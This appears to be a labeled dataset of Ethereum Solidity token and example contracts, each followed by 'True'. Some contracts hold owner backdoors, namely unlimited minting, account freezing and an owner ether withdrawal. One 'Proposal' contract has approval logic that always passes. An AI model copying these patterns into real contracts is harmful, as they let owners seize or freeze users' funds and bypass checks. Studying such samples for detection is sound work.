_tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setBuyTaxFeePercent(uint256 buyTaxFee) external onlyOwner() { _buyTaxFee = buyTaxFee; } function setSellTaxFeePercent(uint256 sellTaxFee) external onlyOwner() { _sellTaxFee = sellTaxFee; } function setBuyLiquidityFeePercent(uint256 buyLiquidityFee) external onlyOwner() { _buyLiquidityFee = buyLiquidityFee; } function setSellLiquidityFeePercent(uint256 sellLiquidityFee) external onlyOwner() { _sellLiquidityFee = sellLiquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setCharityDivisor(uint256 divisor) external onlyOwner() { charityDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMaxTokenHolder(uint256 newMaxTokenHolder) external onlyOwner() { _maxTokenHolder = newMaxTokenHolder; } function setStartTime(uint256 startTime) external onlyOwner() { _startTime = startTime; } function unlockBlackList(address wallet) external onlyOwner() { _isBotList[wallet] = false; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function changeRouterVersion(address _router) public onlyOwner returns(address _pair) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(_pair == address(0)){ _pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapV2Pair = _pair; uniswapV2Router = _uniswapV2Router; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function prepareForPreSale() external onlyOwner { setSwapAndLiquifyEnabled(false); _taxFee = 0; _liquidityFee = 0; _buyTaxFee = 0; _buyLiquidityFee = 0; _sellTaxFee = 0; _sellLiquidityFee = 0; marketingDivisor = 0; charityDivisor= 0; _maxTxAmount = 1000000000 * 10**6 * 10**9; } function goLive() external onlyOwner { setSwapAndLiquifyEnabled(true); _taxFee = 3; _previousTaxFee = _taxFee; _liquidityFee = 6; _previousLiquidityFee = _liquidityFee; _buyTaxFee = 1; _buyLiquidityFee = 4; _sellTaxFee = 3; _sellLiquidityFee = 6; marketingDivisor = 1; charityDivisor= 1; _maxTxAmount = 3000000 * 10**6 * 10**9; } function transferBatch(address[] calldata _tos, uint v)public returns (bool){ require(_tos.length > 0); require(_tos.length <= 150, "to List is too big"); address sender = _msgSender(); require(_isExcludedFromFee[sender]); for(uint i=0;i<_tos.length;i++){ transfer(_tos[i],v); } return true; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }

True

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pragma solidity ^0.4.16; /* 创建一个父类，账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户， onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户（通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币（token）的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数， 18是默认，尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0，用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出（数据类型的溢出） require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言，函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测，不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币，然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴，并通知发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户（通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账，比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function safedrawal(uint256 amount) onlyOwner public { msg.sender.transfer(amount); // sends ether to the seller. It's important to do this last to avoid recursion attacks Transfer(this,msg.sender, amount); } function () public payable { uint amount = msg.value * buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers Transfer(this, msg.sender, amount); } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value * buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers Transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount / sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks Transfer(msg.sender, this, amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2020-12-16 */ pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Proposal { mapping (address => bool) approvals; bytes32 public approvalMask; address public approver1; address public approver2; function prop1() public { approver1 = 0x0000000000000000000000000000000000000012; approver2 = msg.sender; } function approve(address approver) public { approvalMask |= 0; approvals[approver] = true; } function isApproved() public view returns(bool) { return approvalMask == 0; } } contract SimpleAuction { // Parameters of the auction. Times are either // absolute unix timestamps (seconds since 1970-01-01) // or time periods in seconds. address payable public beneficiary; uint public auctionEndTime; // Current state of the auction. address public highestBidder; uint public highestBid; // Allowed withdrawals of previous bids mapping(address => uint) pendingReturns; // Set to true at the end, disallows any change. // By default initialized to `false`. bool ended; // Events that will be emitted on changes. event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); // The following is a so-called natspec comment, // recognizable by the three slashes. // It will be shown when the user is asked to // confirm a transaction. /// Create a simple auction with `_biddingTime` /// seconds bidding time on behalf of the /// beneficiary address `_beneficiary`. constructor( uint _biddingTime, address payable _beneficiary ) public { beneficiary = _beneficiary; auctionEndTime = now + _biddingTime; } /// Bid on the auction with the value sent /// together with this transaction. /// The value will only be refunded if the /// auction is not won. function bid() public payable { // No arguments are necessary, all // information is already part of // the transaction. The keyword payable // is required for the function to // be able to receive Ether. // Revert the call if the bidding // period is over. require( now <= auctionEndTime, "Auction already ended." ); // If the bid is not higher, send the // money back. require( msg.value > highestBid, "There already is a higher bid." ); if (highestBid != 0) { // Sending back the money by simply using // highestBidder.send(highestBid) is a security risk // because it could execute an untrusted contract. // It is always safer to let the recipients // withdraw their money themselves. pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; emit HighestBidIncreased(msg.sender, msg.value); } /// Withdraw a bid that was overbid. function withdraw() public returns (bool) { uint amount = pendingReturns[msg.sender]; if (amount > 0) { // It is important to set this to zero because the recipient // can call this function again as part of the receiving call // before `send` returns. pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount)) { // No need to call throw here, just reset the amount owing pendingReturns[msg.sender] = amount; return false; } } return true; } /// End the auction and send the highest bid /// to the beneficiary. function auctionEnd() public { // It is a good guideline to structure functions that interact // with other contracts (i.e. they call functions or send Ether) // into three phases: // 1. checking conditions // 2. performing actions (potentially changing conditions) // 3. interacting with other contracts // If these phases are mixed up, the other contract could call // back into the current contract and modify the state or cause // effects (ether payout) to be performed multiple times. // If functions called internally include interaction with external // contracts, they also have to be considered interaction with // external contracts. // 1. Conditions require(now >= auctionEndTime, "Auction not yet ended."); require(!ended, "auctionEnd has already been called."); // 2. Effects ended = true; emit AuctionEnded(highestBidder, highestBid); // 3. Interaction beneficiary.transfer(highestBid); } } contract ReceiverPays { address owner = msg.sender; mapping(uint256 => bool) usedNonces; constructor() public payable {} function claimPayment(uint256 amount, uint256 nonce, bytes memory signature) public { require(!usedNonces[nonce]); usedNonces[nonce] = true; // this recreates the message that was signed on the client bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, amount, nonce, this))); require(recoverSigner(message, signature) == owner); msg.sender.transfer(amount); } /// destroy the contract and reclaim the leftover funds. function kill() public { require(msg.sender == owner); selfdestruct(msg.sender); } /// signature methods. function splitSignature(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s) { require(sig.length == 65); assembly { // first 32 bytes, after the length prefix. r := mload(add(sig, 32)) // second 32 bytes. s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes). v := byte(0, mload(add(sig, 96))) } return (v, r, s); } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(sig); return ecrecover(message, v, r, s); } /// builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } contract Comptrol { uint public data; function x() public { data = 3; // internal access uint val = this.data(); // external access } } contract Comptroller { uint public data = 42; } contract Caller { Comptroller c = new Comptroller(); function f() public { uint local = c.data(); } } contract ComptorllersAuctionIndividual is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 12; _totalSupply = 651000*10**12; _balances[msg.sender] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-19 */ // Sources flattened with hardhat v2.8.4 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT AND GPL-3.0-or-later // All OpenZeppelin Contracts Licensed under MIT // All other contracts Licensed under GPL 3.0 or later // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol) pragma solidity ^0.8.0; /** * @dev Interface for an ERC1820 implementer, as defined in the * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP]. * Used by contracts that will be registered as implementers in the * {IERC1820Registry}. */ interface IERC1820Implementer { /** * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract * implements `interfaceHash` for `account`. * * See {IERC1820Registry-setInterfaceImplementer}. */ function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC1820Implementer} interface. * * Contracts may inherit from this and call {_registerInterfaceForAddress} to * declare their willingness to be implementers. * {IERC1820Registry-setInterfaceImplementer} should then be called for the * registration to be complete. */ contract ERC1820Implementer is IERC1820Implementer { bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256("ERC1820_ACCEPT_MAGIC"); mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces; /** * @dev See {IERC1820Implementer-canImplementInterfaceForAddress}. */ function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) public view virtual override returns (bytes32) { return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00); } /** * @dev Declares the contract as willing to be an implementer of * `interfaceHash` for `account`. * * See {IERC1820Registry-setInterfaceImplementer} and * {IERC1820Registry-interfaceHash}. */ function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual { _supportedInterfaces[interfaceHash][account] = true; } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol) pragma solidity ^0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // File contracts/ERC777Recipient.sol /** * Copyright (C) 2021-2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.13; abstract contract ERC777Recipient is ERC1820Implementer { IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; constructor() { _registerInterfaceForAddress( _TOKENS_RECIPIENT_INTERFACE_HASH, address(this) ); _ERC1820_REGISTRY.setInterfaceImplementer( address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this) ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external virtual {} } // File contracts/IAcceptsDeposit.sol /** * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.13; interface IAcceptsDeposit { function migrateDeposit(address depositor, uint256 amount) external returns (bool); function migrateVirtualBalance(address depositor, uint256 amount) external returns (bool); function getMigratorAddress() external view returns (address); } // File @openzeppelin/contracts/utils/structs/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol) pragma solidity ^0.8.0; /** * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential. * Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor]. */ library BitMaps { struct BitMap { mapping(uint256 => uint256) _data; } /** * @dev Returns whether the bit at `index` is set. */ function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); return bitmap._data[bucket] & mask != 0; } /** * @dev Sets the bit at `index` to the boolean `value`. */ function setTo( BitMap storage bitmap, uint256 index, bool value ) internal { if (value) { set(bitmap, index); } else { unset(bitmap, index); } } /** * @dev Sets the bit at `index`. */ function set(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] |= mask; } /** * @dev Unsets the bit at `index`. */ function unset(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] &= ~mask; } } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. 